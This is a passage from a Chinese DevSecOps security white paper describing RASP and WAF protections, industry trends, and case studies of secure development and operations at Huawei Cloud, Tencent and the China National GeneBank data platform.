RASP 可以实现对关键函数 的监控,获取关键函数的参数信息(如对数据库操作进行监控)。 通过 RASP 的基本原理是注入到被保护的应用中,替换关键函数, 获取到应用运行时的上下文,根据运行时上下文或者敏感操作,对攻 击进行精准的识别或拦截。实时采集 Web 应用的高风险行为,在安全 测试阶段可以辅助测试人员提前发现安全漏洞,在业务线上运行阶段 云计算开源产业联盟 研发运营安全白皮书 40 可以实时检测到外部攻击和漏洞利用,可检测的风险包括 SQL 注入、 命令注入、代码执行、上传漏洞、文件读取等。同时通过特征规则、 上下文语义分析及第三方安全产品数据关联分析等多种安全模型来 提升检测准确率,相较于传统 Web 应用安全产品,RASP 从海量的攻 击中排除掉了大量的无效攻击,聚焦发现真实的安全威胁。 目前实时应用自我保护(RASP)主要厂商以及工具包括国外的 Micro Focus、Prevoty、Waretek,以及国内的安百科技的灵犀、百 度安全的 OpenRasp 等。 6. Web 应用防火墙 Web 应用防护墙(WAF)作为 Web 安全主要防护手段,是通过执行 一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护,主 要用于防御针对网络应用层的攻击,如 SQL 注入、XSS 跨站脚本攻击、 文件包含攻击、CC 拒绝服务攻击等。 WAF 一般部署在 web 服务器前面或者作为一个模块嵌入在 web 服 务器里面,对请求的入流量和出流量均可以进行过滤检测或处理。1) 请求入流量方向上,在用户请求到达应用程序前对用户请求进行检测 过滤,采用基于规则的模式特征匹配或基于语义理解和机器学习的检 测方案,分析并校验每个用户请求的网络包,拦截恶意攻击流量,放 过正常请求,确保每个用户请求有效且安全。2)出流量响应方向上, 在响应到达客户端之前对响应请求内容进行内容检测,可以准确防护 恶意攻击及避免敏感信息泄漏等。同时,在处理响应时通过下发 JS 云计算开源产业联盟 研发运营安全白皮书 41 方式,结合风控大数据,解决一些风控场景需求,如防刷,打击羊毛 党等。 研发运营安全体系中,在预发布阶段流水线中加入检测是否接入 WAF 防护的质量红线,保证业务服务上线环境处于 WAF 安全防护状态, 在安全运营响应阶段 WAF 作为重要的安全能力工具对线上攻击请求 进行实时防护。以默认安全为原则,WAF 在和 Web 接入层直接交互结 合后,业务通过 Web 接入层开放外网 Web 服务时,就默认带有 WAF 防 护能力,可以及时有效的阻断实际产生的某些攻击尝试和行为。WAF 的所有基础配置和策略下发可以由 WAF 运营人员统一实施,无需业务 介入,就默认带有基础防护能力。同时,WAF 提供防护能力开放平台, 用户可以在 WAF 开放平台自助便捷操作,实现场景化定制防护需求。 目前 Web 应用防火墙(WAF)主要厂商包括国外的 Imperva、Akamai、 Cloudflare、AWS 等,以及国内的阿里云、腾讯云、奇安信、绿盟等。 四、 研发运营安全发展趋势展望 随着信息化数字化的不断发展,软件应用服务自身安全重视程度 也将逐步增加,研发运营安全体系将会同步完善,具体表现为: 研发运营安全管理体系将更加完善。管理制度流程是实践研发运 营安全的基础,随着研发运营安全理念的不断深化,将会推动相应安 全管理体系的不断完善。 研发运营安全体系将会推动安全技术、工具的进一步发展。SDL 理念推出发展至今已经 10 余年,仅靠管理制度、安全人员实现研发 运营安全难度是巨大的,安全技术、解决方案的出现将会促进研发运 云计算开源产业联盟 研发运营安全白皮书 42 营安全的实践落地。相应的,企业在实践研发运营安全的过程中,对 于相关安全技术、工具也会提出新的能力要求,进一步推动安全技术 的发展。 研发运营安全将增强安全可信生态布局。安全可信生态布局具体 指两个方面,1)企业合作共建安全可信生态,软件应用服务涉及各 个行业和领域,随着研发运营安全意识的不断提升,各行业领域领军 企业将合作共建安全可信生态,满足不同用户、不同行业、不同场景 的安全可信需求;2)对于供应链安全要求将会越来越高,软件应用 服务涉及众多第三方开源及商用组件,供应链的安全对于软件应用服 务自身安全可信至关重要,研发运营安全的持续推进将会提升整体供 应链的安全性要求。 云计算开源产业联盟 研发运营安全白皮书 43 附录:研发运营安全优秀实践案例 (一)华为云可信研发运营案例 1)当前研发运营安全的痛点 云市场面临的主要威胁:数据泄露,身份、凭证和访问管理不足, 不安全的接口和应用程序编程接口(API),系统漏洞,账户劫持,恶 意的内部人员,高级持续性威胁(APT),数据丢失,尽职调查不足, 滥用和恶意使用云服务,拒绝服务(DoS),共享的技术漏洞等; 企业上云的关键安全诉求:业务连续不中断,如防网络攻击,防 黑客入侵,法律遵从、合规等;运维全程可管控,如配置安全策略, 风险识别和处置,操作可审计、追溯等;数据保密不扩散,如防外部 窃取,内部非授权员工不可见,云服务商不可见等。 2)研发运营安全的落地实现 华为云在研发运营生命周期中,可信是云服务最重要也是最根本 的要求,建立并完善信任机制是业务第一优先级。在充分分析业界对 可信的解读并广泛听取客户反馈后,华为云认为云服务的可信应该包 括安全、隐私、合规、韧性、透明五个基本特征。 (1)管理制度 华为云产品团队(开发、运营、运维、安全等)作为产品可信的 第一责任部门,在服务产品生命周期的各项活动中落实可信要求,构 建产品的可信能力,打造“过程可信”+“结果可信”的高质量产品, 同时进行自查自纠,主动发现问题并进行改进。 云计算开源产业联盟 研发运营安全白皮书 44 在可信战略和框架指引下,从公司到华为云各级部门都致力于建 立可信的文化,牵引全员可信意识的转变,把可信根植于企业的各个 方面。建立软件工程可信胜任的管理要求,开展对软件业务主管、 Committer、软件架构师、开发工程师、和测试工程师等角色的资质 管理及选拔、调整。软件工程师需要学习可信的要求并通过考试,使 其具备编写可信的高质量代码的能力,以确保实现产品可信的要求。 (2)安全要求 华为云在内部 DevSecOps 实践的基础上,推出了商业化的 DevCloud 软件开发产品,除了对外提供服务,DevCloud 也是华为云 研发运维团队使用的持续集成、持续交付平台,它将规范、基线、软 件/API、用例,工具固化到 DevSecOps 流水线,形成自动化、可视 化的服务全生命周期管理模式。 (3)安全隐私需求分析与设计 内嵌可信的开发运维流程。在过去 20 年里,IPD 研发流程帮助 华为将 ICT 产品的质量提升到了新的高度;今天,为了适应云环境下 快速交付服务的需求,华为云在吸收业界先进理念的基础上,持续改 进开发和运维流程,形成了开发、运维、安全一体化的 DevSecOps 可 信软件工程实践。 华为云的 DevSecOps 可信软件工程实践通过工具和技术规范实 现了流程的固化,使过程和结果透明可见、从故障现象到模块代码可 追溯,从而实现云服务全生命周期的过程可信。 云计算开源产业联盟 研发运营安全白皮书 45 图 1 华为云 DevSecOps 生命周期模型 全生命周期的数据安全。华为云以区域为单位提供服务,区域即 是客户自主选择内容数据的存储位置,华为云未经授权绝不会跨区域 移动客户的内容数据;通过不同粒度的访问控制机制,确保客户只能 访问到自己的数据。具体体现为 1)华为云通过数据加密服务(DEW) 的专属加密(DHSM)、密钥管理(KMS)、密钥对管理等功能提供云上 数据加密和存储保护;2)使用虚拟专用网络(VPN)在远端用户和 VPC 之间建立符合行业标准的安全加密通信隧道,将已有数据中心无缝扩 展到华为云上,提供租户端到端的数据传输机密性保障。通过 VPN 在 传统数据中心与 VPC 之间建立通信隧道,客户可方便地使用华为云的 资源;3)华为云服务通过标准 RESTful 形式向外发布,全网数据传 输使用 TLS 进行加密保护,同时也支持基于 X.509 证书的目标网站身 份认证;4)华为云提供多重冗余和容灾机制保证数据的高持久和服 务高可用,其中不少产品的可用性指标均达到业界先进水平。 (4)研发与验证 华为云开发者中心通过提供开发环境、OpenAPI 和 SDKs 以及基 于生命周期的一站式应用开发服务,使软件开发更加简单高效。同时 提供代码检查、测试管理、源代码控制、问题和缺陷跟踪等工具,帮 云计算开源产业联盟 研发运营安全白皮书 46 助开发者实现产品的安全可信。交付安全可信的软件产品一直是华为 公司倡导的企业文化,华为云认为,云服务的可信不仅应该体现在技 术和产品上,更应该根植于从需求规划、架构设计、系统开发、运维 运营到客户服务的全生命周期中。无论内部业务流程还是对外客户服 务,华为云完全遵从法律法规和国际标准提出的安全、合规和隐私保 护基本原则,制定了超过 1000 项的可信要求,将功能与质量、安全 与隐私保护融入云服务全生命周期,同时特别关注个人信息在采集、 使用,保留,传输、披露和处置等处理过程中的隐私保护,确保流程 透明、结构完善、控制严谨、过程可追溯。 (5)发布部署 按照华为云发布部署中规定的云服务上线场景,各云服务必须完 成自检,并承诺已满足上线华为云官网的可运营要求。 (6)上线运营 安全稳定的可信运营。为保证云服务的安全稳定运行,华为云建 立了可信运营中心,运维运营内容包括运维权限管理、系统日志与审 计、漏洞与补丁管理、事件管理、业务连续性管理等,覆盖了安全运 营的事前防范,事中响应、事后审计的全生命周期。华为云在保证常 规安全运营的基础上,还特别提取了合规、透明和隐私保护等可信要 求融入云服务运营活动中。如监控与日志管理方面,日志保存超过 180 天满足监管合规要求,日志不保存用户个人敏感信息以符合隐私要求; 漏洞和事件信息及时通知客户符合透明要求,用户可自主选择通知推 送的方式满足隐私的要求。 云计算开源产业联盟 研发运营安全白皮书 47 图 2 华为云可信运营 安全可信的客户服务。客户服务是云服务供应商与客户沟通的窗 口和渠道,优质的服务也是可信的一种体现。华为云认为,除了完整 可信的内部控制流程,透明完善的客户服务机制,也是建立信任的重 要体现。华为云建立了完善透明的客户服务体系,真诚与客户建立联 系,获取客户心声,收集客户需求,解决客户问题,提升产品和服务 的可信能力。 华为云官网发布了清晰透明的《华为云用户协议》、《云服务等 级协议(SLA)》和《隐私政策声明》,帮助客户了解华为云的责任、 产品服务的指标以及隐私保护的信息;同时提供多种交互渠道,以便 客户获取并行使数据主体的权利。 华为云秉承客户至上,服务第一的原则,根据基础级、开发者级、 商业级、企业级不同级别的需求,建立可供选择的服务包,用户可通 过在线工单、智能客服、自助服务、热线电话等多种方式获取专业的 服务和帮助。 在处理服务请求时,所有涉及操作客户网络的活动必须事先获取 客户的授权,并严格按照授权的范围、期限和用途进行操作,确保授 云计算开源产业联盟 研发运营安全白皮书 48 权和操作记录可追溯。同时,通过访问控制、加密、脱敏显示等技术 手段,有效保护客户隐私数据。 任何用户均可通过多种渠道进行服务咨询、意见反馈和投诉建议, 除基础性的站内在线客服和投诉建议热线电话外,系统复杂的企业客 户可以选择适用的支持计划,获取由 IM 企业群、技术服务经理(TAM)、 服务经理等组成的专属支持。 (7)停用下线 当客户决定不再使用云服务或主动删除数据时,华为云会综合内 存清零、逻辑删除、虚拟卷清零、销毁加密密钥等手段确保数据及其 所有副本被安全销毁。当客户注销华为云账户后,内容数据将进入保 留期,客户不能访问及使用云服务,保留期届满后,内容数据会得到 彻底的清除。在物理存储介质报废阶段,华为云通过对存储介质消磁、 折弯或破碎等方式进行数据清除,确保其上的数据无法恢复。 3)最终效果描述 华为云在保证自身产品可信的基础上,通过全栈的服务和解决方 案,把华为云积累的可信能力释放出来,帮助客户实现可信,即:安 全、隐私、韧性、合规、透明五大特征。 华为云提供安全可靠、性能稳定的六大类上百种服务,并根据行 业发展和客户需求不断地丰富和完善。华为云的全栈服务分类及产品 示意如下图所示。 云计算开源产业联盟 研发运营安全白皮书 49 图 3 华为云全栈式服务 云计算开源产业联盟 研发运营安全白皮书 50 (二)腾讯研发运营安全实践 1)当前研发运营安全的痛点 腾讯产品研发在行业内具有一定的特色,这么多年的发展过程中, 腾讯自研业务涉猎广泛几乎覆盖到了互联网所有的业务形态,重隐私 要求高性能的通讯软件 IM、快速试错的各种 SNS 功能、保守的支付 金融等都融合到一家公司里,这使得作为支撑业务发展的技术呈现出 了巨大的复杂性和挑战。 首先的挑战,就是在研发安全运营落地实践过程中,所遇到的人 力和资源有限的问题,为满足业务复杂的安全需求,就需要投入大量 的资源保障研发代码、研发流程等方面的安全,而过去包括需求评审、 威胁建模、安全开发、安全扫描等在内的安全环节的落地,都依赖于 大量安全人力等资源的投入,而业务复杂性越来越多,版本发布也越 来越多,就对安全工具链、自动化安全运营等方案,提出了更高的要 求;其次是迫切需要改变被动的安全应急的现状,业务的蓬勃发展, 业务的大量上线,也同时带来了很多安全应急的事件,如何将安全工 作左移,将频繁的安全应急,转变为事前安全风险的规避以及提前发 现,成为迫切需要解决的问题,这就需要提升整体业务团队的安全意 识,并提供可信赖的安全风险发现的解决方案或者工具;最后,就是 安全与研发流程的紧密结合,无论是源代码安全扫描、黑盒安全扫描、 高危组件安全扫描、主机安全扫描、敏感信息扫描等等,都需要与研 发流程紧密结合,才能够满足快速迭代的业务需求,而这也是早期安 全面临的安全挑战。 云计算开源产业联盟 研发运营安全白皮书 51 正是如此,腾讯内部研发安全运营,也是伴随着 DevOps 等研发 理念的产生和发展,越来越多的业务开始尝试各类新型的研发模式的 现状下,在早期就展开了研发运营安全的探索和实践,旨在解决所遇 到的与已有的安全保障体系结合的困难和挑战。 2)研发运营安全的落地实现 (1)建立管理制度 公司安全规范,为便于员工及时了解安全需求,公司发布包括 《研发安全规范》、《运维安全规范》等在内的多项安全标准,并 定期更新,保持安全合规以及安全机制与时俱进;各集团事业群也 会结合自身业务特点不断细化,制定适合自己形态的安全规范、检 查表等;配备专职安全团队,进行安全评估,对于重点业务、重大 的风险进行专项跟进。 安全培训,腾讯学院专栏安全课程,包括网课以及线下培训课程, 所有入职新人都必须参加相应的培训课程,其中包括安全课程;同时 各集团事业群或者部门也会定期组织安全培训和考试。 (2)落实安全要求 腾讯内部从集团层面提出业务上线的安全要求,全面覆盖安全分 级管理、权限管理、源码安全管理、系统上线流程、权限申请流程以 及相关的算法标准、口令标准、传输安全标准等基础安全要求,与此 同时,提出可落地的运维安全基线要求、研发安全基线要求,确保业 务系统在设计、开发、运维等阶段需满足的安全要求,旨在收敛内网 安全风险,保障数据安全及业务安全稳定运行,例如在安全编码领域, 云计算开源产业联盟 研发运营安全白皮书 52 集团发布编码安全规范,覆盖多种常规语言的编码规范,深度赋能开 发人员安全实践。 (3)安全隐私需求分析与设计 腾讯 PBD 是具有腾讯特色的隐私保护方法论,即用户(Person)、 控制(Button)和数据(Data),以彰显大数据时代腾讯隐私增强用 户数据控制力,尊重用户隐私体验价值的努力。 图 1 腾讯 PBD 体系 用户(Person)是腾讯隐私的出发点和最终目标。在产品设计中 体现为尊重用户,努力提升用户对隐私保护的感知度与参与度,最大 程度地避免产品设计中的隐私缺陷。让用户在使用产品的每个环节都 清晰地了解到其可能被收集的个人信息及具体使用情况,给予用户充 分的自主决定权,排除用户在隐私泄露方面的担忧,使其获得最佳的 用户体验。 控制(Button)致力于实现用户对个人信息的有效掌控与自主决 定,增加用户操作的便捷性。将用户的数据控制力转化为一个个按键, 云计算开源产业联盟 研发运营安全白皮书 53 在收集个人信息的具体环节中通过弹窗提示、再次授权等技术手段, 充分实现可视化操作,使隐私真正为用户所掌握。 数据(Data)重点关注用户个人信息的开发利用与隐私保护之间 的平衡。个人信息的开发利用是为了让用户享受更加方便快捷的社交、 娱乐、生活等体验。腾讯在使用个人信息以提供更好服务的同时,亦 充分考虑隐私保护,避免过度收集个人信息和超越目的范围使用的行 为。 与此同时,腾讯安全研发也一直贯彻“通过设计保护隐私 (Privacy by Design)”,这也体现了技术、法律和价值的融合。 该理念包含七大原则,指向产品设计、用户体验与价值功能三个层面。 图 2 通过设计保护隐私 (4)研发与验证安全建设 此阶段,在腾讯内部,主要涉及应用漏洞扫描,通过“应用漏洞 扫描”的内部开源系统项目,在腾讯多年建设的已有的研发漏洞发现 能力上,集合公司各安全团队的力量,以内部开源协同方式,打造更 强更好用的公司级的安全工具,包括且不限于以下:1)SAST,静态 代码扫描“啄木鸟”,开发人员可以直接在 CI 平台上使用相应插件 进行自动化的扫描以及结果的查看和疑似风险的处理;另外针对内部 云计算开源产业联盟 研发运营安全白皮书 54 开源代码建设了一套自动化的机制进行代码安全的检查并且有相应 的打分/激励以及推动机制逐步消除风险项;代码安全扫描结果以及 风险情况也会同步显示在内部代码托管平台上,方便开发者随时查看 和处理。2)DAST,Web 漏洞审计“洞犀”/App 漏洞审计“金刚”, 针对业界常见以及腾讯遇到过的漏洞类型,持续打造建设相适应的 Web 和 App 漏洞审计平台;对于 Web 类型漏洞的扫描,相比业界专门 优化了很多漏洞的识别算法,支持根据业务容量的限速,特别完善了 测试用例无害化,使安全测试对业务的影响降到最低;对于 App 漏洞, 除了传统的漏洞以外,借助于模拟器集群、UI 测试覆盖、污点追踪等 技术,对于一些需要前置条件的漏洞以及隐私合规方面的深层次安全 风险进行自动化的识别。3)IAST“洞犀”,结合流量代理技术,建立 自动化的上线前安全扫描机制。研发人员发布之后,测试人员只需要 关注功能测试,整个系统自动抓取期间的 CGI 流量并且提交“洞犀” 进行安全扫描,有问题通过安全工单跟踪;结合 RASP 和 DAST 技术, 可以全自动的采集流量触发 DAST“洞犀”扫描,结合 IAST 技术发现 一些以往单纯靠 DAST 无法发现的漏洞点,确保覆盖的情况下扫描速 度提升巨大,并且对于一些开发人员不容易定位问题点的漏洞如命令 注入等,可以直接给出详细漏洞触发点信息,提升开发人员效能。4) APP 加固,有针对性行的对移动应用和 apk 进行安全加固。5)Fuzzing, 逐步完善 DevSecOps 下的 Fuzzing 技术和平台。6)混沌工程,建立 专注于系统可用性的混沌工程平台,并不断尝试安全领域的此类探索。 (5)平台支撑安全发布部署 云计算开源产业联盟 研发运营安全白皮书 55 安全发布部署是业务上线前的重要保障,此阶段主要涉及以下安 全措施和平台保障,包括且不限于:后台服务发布,安全加固的统一 服务发布平台;APP 发布,证书和软件签名/发布;镜像安全扫描;安 全加固的腾讯 tlinux 内核。 (6)上线运营安全保障 业务上线后,腾讯通过自动化的安全监控、安全运营以及及时的 应急响应,为业务提供安全保障,包括且不限于:1)安全可追溯的 运维访问,铁将军(服务器权限管控):面向公司业务提供服务器实 名登录、权限管理、访问控制、实名审计等安全服务,安装铁将军后 可实现服务器访问统一管理,权限最优化配置;2)零信任实践,全 面应用于腾讯企业内部;3)网络流量安全分析,诸如管理后台、敏 感信息等的漏洞风险,同时也在入侵检测和安全攻防上得以探索与内 部落地实践;4)洞犀-上线后安全扫描,高危服务:针对内外网上的 高危服务(如可被直接入侵、数据泄露等)进行全端口的持续监测, 对于其中可蠕虫可入侵类的风险提供发现能力。部分机房的外网开放 风险可“一键防护”,帮助运维同学快速的临时止损。Web 漏洞:为 了防止一些不进行上学期安全扫描的漏网之鱼,洞犀系统会对外网所 有的 Web 请求进行自动化的采集、去脏、去重等处理,识别出有效的 CGI 及参数并进行安全扫描;5)金刚-上线后安全扫描,面向公司 APP 产品提供全方位通用漏洞审计功能,在产品发布前,通过对 APP 的安 全做全面的自动化检查,最大限度帮助业务解决 APP 中存在的安全漏 洞问题;6)洋葱(入侵检测系统),基于腾讯十余年来数百万台生产 云计算开源产业联盟 研发运营安全白皮书 56 业务系统服务器的安全防护经验,提供全面、可靠的服务器安全解决 方案,方案由轻量级 Agent 探针和管理服务平台组成,支持统一的资 产管理、入侵检测、安全审计、安全漏洞、安全基线等;7)RASP 方 案 TRASP,通过分析应用的运行行为以及上下文来发现 Web 应用安全 威胁,并精准定位到漏洞源,由于与应用融为一体,可实时监测、阻 断攻击,使应用自身拥有自保护的能力,可以实时检测发现针对 web 系统的各类入侵行为,包括 SQL 注入、命令注入、任意文件上传、任 意文件读取、代码执行等;8)腾讯安全应急响应中心(TSRC)漏洞奖 励计划,提供资金激励吸引外部安全研究人员帮助腾讯发现更多潜在 安全风险和漏洞,提供其他公司快速搭建 SRC 平台的开源版本以及 SaaS 版本,目前已经有 10+知名公司使用;9)腾讯蓝军渗透测试, 十余年来专注于前沿安全攻防技术研究、腾讯网络安全实战演练、腾 讯业务系统安全评估等方面,站在 APT 黑客的视角去模拟攻击,全方 位检验安全防护策略、响应机制的充分性与有效性,最大限度发现业 务系统的潜在风险,提出解决方案及协助改进;10)安全事件应急响 应小组,7*24 小时安全事件应急响应,第一时间响应,降低或消除事 件影响;11)宙斯盾(DDoS 防护),通过 IP 画像、行为模式分析、 Cookie 挑战等多维算法,并结合 AI 智能引擎持续更新防护策略,能 够有效防御各类型 DDoS 和 CC 等攻击行为;12)门神(WAF),针对 Web 攻击进行防御,丰富的攻击特征库,配合语义分析+AI 智能检测 引擎提高准确率降低误报,提供自定义打击策略以及防 CC 恶意数据 爬取阻断等能力;13)安全服务中心;14)安全事件工单系统;15) 云计算开源产业联盟 研发运营安全白皮书 57 威胁情报,TSRC 安全情报平台,主动及时感知外部安全情报,提供 100+知名软件的官方更新情报,5 分钟内发现,30+外部公司使用。 3)最终效果描述 整个信息产业发展到今天,软件系统日益庞大复杂,从业人员日 益增多。单纯的依靠安全岗位这一角色来保证研发的系统不出现安全 问题是很不现实的,这也是为何业界不断的爆出黑客入侵、数据泄露 等安全事件的本质原因。于当下,安全不仅仅是安全工程师的责任, 而应该成为一个组织整体的最高目标之一,需要每一个工程师的参与。 腾讯安全和研发团队都要参与到研发安全运营的不断建设和优化中 来,不断的推进理论和工具链的向前发展,不断的提供更好更便利的 安全能力并且尽可能的通过自动化、工具化等方式为研发工程师赋能, 使大家都能够承担起应有的安全责任,才能进行更好的安全管控。 云计算开源产业联盟 研发运营安全白皮书 58 (三)国家基因库生命大数据平台研发运营安全案例 1)当前研发运营安全的痛点 随着科学研究方法和技术的快速迭代和应用,相关领域的企业、 高校和医院等单位和机构产生、管理和利用的生命科学数据规模不断 增加。但面对海量数据,相关的单位和机构难以为数据提供安全性和 可用性较高的本地存储计算资源和对外的共享应用能力。往往由于负 责数据相关工作的人力队伍建设和配套流程不完善,导致国家的遗传 资源的共享和应用都存在安全问题,有很大的隐患。 另外在数据共享和应用过程中,数据所有方的权益无法得到有效 保障,共享的数据的安全和相关的隐私保护难以保证,导致很多研究 机构、医疗机构、公司或者其它生命数据的拥有者在数据集中保存和 共享方面积极性不高。 2)研发运营安全的落地实现 (1)管理制度 数字化时代,网络安全威胁已成为生命大数据平台运营的主要挑 战之一,日益严峻的安全挑战将会威胁生命大数据平台的信息安全, 数据安全已成为当前最为主要的安全问题。通过建设整体的网络安全 架构,按照国家信息安全等级保护认证的要求,获得国家信息安全等 级保护资质的三级/四级认证。 信息安全管理主要围绕防数据泄露、防攻、防特权、合法合规四 个基本方向,从建立安全组织体系,信息安全管理与策略体系,云管 端纵深立体信息安全技术防护体系规划入手,以数据安全保护为抓手, 云计算开源产业联盟 研发运营安全白皮书 59 推进核心安全能力建设,实现生物信息数据防窃取、防滥用、防丢失、 防篡改、防误用,保障国家生物数据安全。 建立生物信息安全管理体系 面向国家安全体系战略需求,从伦理、人遗、实验室安全、信息 安全、物理安全、合规性等方面建立全方位的生物信息安全体系。 (a)生命伦理安全管理 建立伦理委员会(CNGB-IRB),设立常设办公室,配备专职秘书 和顾问团队,制定伦理审核及监督管理的制度,规范涉及人、实验动 物、微生物等领域的研究和应用,保证国家基因库各项工作符合生命 伦理国际准则、国家法规和行业规范等。 (b)遗传资源安全管理 按照《中华人民共和国人类遗传资源管理条例》(2019 年 7 月 1 日)、《生物遗传资源获取与惠益分享管理条例(草案)》、《濒危 野生动植物国际贸易公约》以及《中华人民共和国野生动植物保护法》 等相关法律法规,制定遗传资源管理制度及操作流程,确保遗传资源 受到管控,在操作和交流过程中符合国家相关法律、法规的要求。通 过生命伦理安全管理以及遗传资源安全管理从而避免生物技术不被 误用和滥用。 (c)实验室安全管理 通过实验室安全管理,避免生物危害因子对实验操作人员造成伤 害以及对周围环境造成污染,从而保证科研活动的正常进行。按照国 家生物安全等级进行实验室建设,保证工作人员不受病源微生物等伤 云计算开源产业联盟 研发运营安全白皮书 60 害,保证产生的废弃生物材料等通过合法合规途径处理,不会对外部 环境造成不利影响。 (d)物理安全 通过建设由监控系统、安保岗亭(身份+车辆识别系统)、门禁 系统、内部管理系统、核心区域授权管制系统等构成的 5 道物理安全 防线。通过人防、技防、物防的有机配合,保障各区域的物理安全。 通过警民联动构建了第六道防线。采用公安“雪亮工程”,以综治信 息化为支撑、以网格化管理为基础让国家基因库的安防系统与公安系 统对接,充分发挥视频监控系统的作用,推进国家基因库治安防控体 系建设。 (2)安全要求 为遵循《中华人民共和国人类遗传资源管理条例》,面向生物技 术和生物大数据科学前沿,面向国家生物安全体系战略需求,以及我 国生物健康,生物医药,生物农业等产业发展需求,我国精准医疗, 数字化地球等重大科技公关等科学研究的重大需求,提升生命科学数 据的安全有效共享和应用,国家基因库构建生命大数据平台(CNGBdb), 以确保中华人民共和国遗传资源得到充分保护的前提下,为国内相关 机构和单位提供安全的数据共享环境,促进生命科学数据开放共享, 为科学研究和生物技术产业化过程中的数据共享及应用提供保障。 (3)安全隐私需求分析与设计 1)建立安全可靠的数据汇交系统,针对我国科学研究和产业发 展的生物样本资源,数据资源等多组学信息数据资源,为科研机构、 云计算开源产业联盟 研发运营安全白皮书 61 医药和企业的样本和测序数据提供统一的管理和共享,参考国际和国 内的组学数据标准和管理方式,建立安全可靠的数据汇交系统。 2)建设存读一体化生物数据安全和高效传输系统,依托深圳国 家基因库(以下简称:国家基因库)样本库、读平台和信息库组织结 构的优势,样本库丰富的样本资源,通过就地对生物样本库的样本进 行数据采集和数字化,形成统一格式的数据,并就地存入生物信息数 据库,并进行生物信息学分析和挖掘,实现生物样本资源库和生物信 息数据库进行有机地结合,建立生命数据全周期管理和回溯的基石。 3)基于区块链和多方安全计算技术实现可溯源、可监管的数据 共享应用区块链技术,建立覆盖数据计算的生命科学数据关键节点信 息上链,保证各模块及处理步骤都是可预测,可追溯和可验证,可监 管,最大程度地保护数据的安全。配合区块链技术,通过安全多方计 算实现数据联合分析,数据“虽彼此不可见,但可共享使用”(即“可 用不可见”)的方式,与其他科研人员协同分析。 4)基于中国个人信息相关法律法规制定平台隐私政策,CNGBdb 作为数据服务的提供者给研究人员提供数据归档和管理等服务, CNGBdb 平台隐私政策遵循中国个人信息安全相关的法律法规。 (4)研发与验证 CNGBdb 建立了安全可靠的序列归档系统(CNSA),CNSA 是一个 方便快捷的科学研究项目、样本、实验、测序、组装、变异等生命科 学 数 据 汇 交 和 共 享 系 统 , 结 合 国 际 核 酸 序 列 数 据 库 联 盟 (International Nucleotide Sequence Database Collaboration, 云计算开源产业联盟 研发运营安全白皮书 62 INSDC)标准和 DataCite 标准,建立了数据归档存储和管理的标准规 范,并接受来自全球科研的测序数据、信息和其他分析结果数据的递 交,为全球的研究者提供当前最全面的数据和信息资源,使研究人员 能够更便捷地访问数据,促进数据的再利用。 (5)发布部署 基于云平台通过可信云服务认证,CNGBdb 通过 ISO27001 信息安 全管理体系认证,从服务协议标准性、数据存储可靠性、用户数据私 密性、业务可用性、功能完备性、运维系统完善性等多方面达到国内 顶级云服务评测系统的认证标准,对外发布 CNGBdb 平台业务并提供 公益性服务,保障信息资源的安全,保护信息化进程健康、有序、可 持续发展。 (6)上线运营 (a)基础安全 具备主动发现安全漏洞和提供修复方案以及漏洞修复能力;具备 对网络攻击和明显异常行为的主动感知和防御能力;对安全事件应急 响应和回溯能力。 (b)业务安全 主动发现潜在业务安全风险,提供解决方案和风险控制在可接受 范围内;有能力支撑和应对业务正常发展和运营过程中以及业务场景 变化可能带来新的业务安全风险。 (c)数据安全 云计算开源产业联盟 研发运营安全白皮书 63 主动识别数据在全生命周期内和流动过程中的数据安全风险和 评估出合理风险等级,并将风险控制在可接受范围内;具备对数据泄 露事件的应急响应和追溯调查能力。 (d)安全合规 满足安全监管、法律要求,有效支持基因库业务开展、运营和外 部合作;满足合规的基础上,构建符合基因库自身特性的安全合规体 系。 (7)服务停用下线 因用户申请或业务需要,对平台上的特定数据进行彻底删除的操 作,在进行数据的销毁处理时,需首要遵循知情同意、隐私和保密的 原则。在数据销毁执行环节,依据 DOD 5220.22-M 标准,保证磁盘中 存储数据的永久删除,不可恢复。若销毁对象被其他对象所关联,则 将该对象与关联对象一并销毁/删除;若销毁对象未被其他对象所关 联,则只销毁该对象本身。 3)最终效果描述 国家基因库生命大数据平台(CNGBdb)面向国家安全体系战略需 求,从安全汇交、安全传输、安全管理和安全共享等方面建立了数据 共享安全运营体系,在民生健康、重大疫情防控、分子育种、全球物 种多样性保护等方面建立了多组学数据资源管理和应用体系,为抢占 未来生命科学科技创新战略制高点提供了重要支撑和基础条件,也为 推动我国生物数据安全和维护数据主权提供了重要保障。 云计算开源产业联盟 研发运营安全白皮书 64 截至 6 月 8 日,CNGBdb 核酸序列归档系统归档的数据总量为 2243TB,用户在 CNSA 递交的数据在被国际包含 Nature,Cell 等在内 的 80 多个期刊杂志接收,论文成功发表。CNSA 汇交了来源 100 多个 递交单位的生命科学数据。 CNGBdb 支撑大型国际科研合作项目,包括但不限于 ICGC-ARGO 项 目,地球生物基因组计划(EBP),万种鱼基因组项目,万种植物基因 组项目,万种药用植物项目等大型国际国内合作项目,共享 CNGBdb 基础设施能力。与世界最大的药用植物园-广西药用植物园合作搭建 万种药用植物数据库(10KMP),包含近 1000 种药用植物的元信息及 转录组测序数据。CNGBdb 与联合国粮食及农业组织 FAO GLIS 系统的 DOI 对接,实现物种、组学等信息和数据的有效互联互通,避免信息 重复,方便数据统一追踪和索引,促进科学研究。CNGBdb 与中国科学 院战略生物资源服务网络、全球基因组生物多样性联盟,以及国家人 类遗传资源共享服务平台等组织达成合作互通,共享资源信息。2019 年,国家基因库加入了中国科学院战略生物资源服务网络,新增资源 互通信息 5838 份,同时,国家基因库参与了生物资源信息平台建设 及其应用研讨会,并加入了中国科学院生物资源目录。 应用区块链和多方安全技术,CNGBdb 发布国内首个基于区块链 和安全多方计算的新冠病毒基因组分析平台。该分析平台展示了现有 公开新冠病毒数据集(来自 GISAID、NCBI、CNGBdb 等)的演化树分 析结果,包括样本序列演化关系、地理位置、采样时间等,可实时追 踪病毒流行病学情况、预测未来毒株演化。此外,还能帮助用户大大 云计算开源产业联盟 研发运营安全白皮书 65 节约维护、更新数据集的时间成本。基于区块链和安全多方计算技术 搭建多方安全计算工具,允许用户在不公布己方数据的前提下,联合 其他科研人员协同分析并共享结果,同时结合区块链技术,保证所有 数据和计算过程均可回溯且不可篡改。其正式上线意味着生命科学大 数据的安全共享和开发利用上了一个新台阶。
pdf
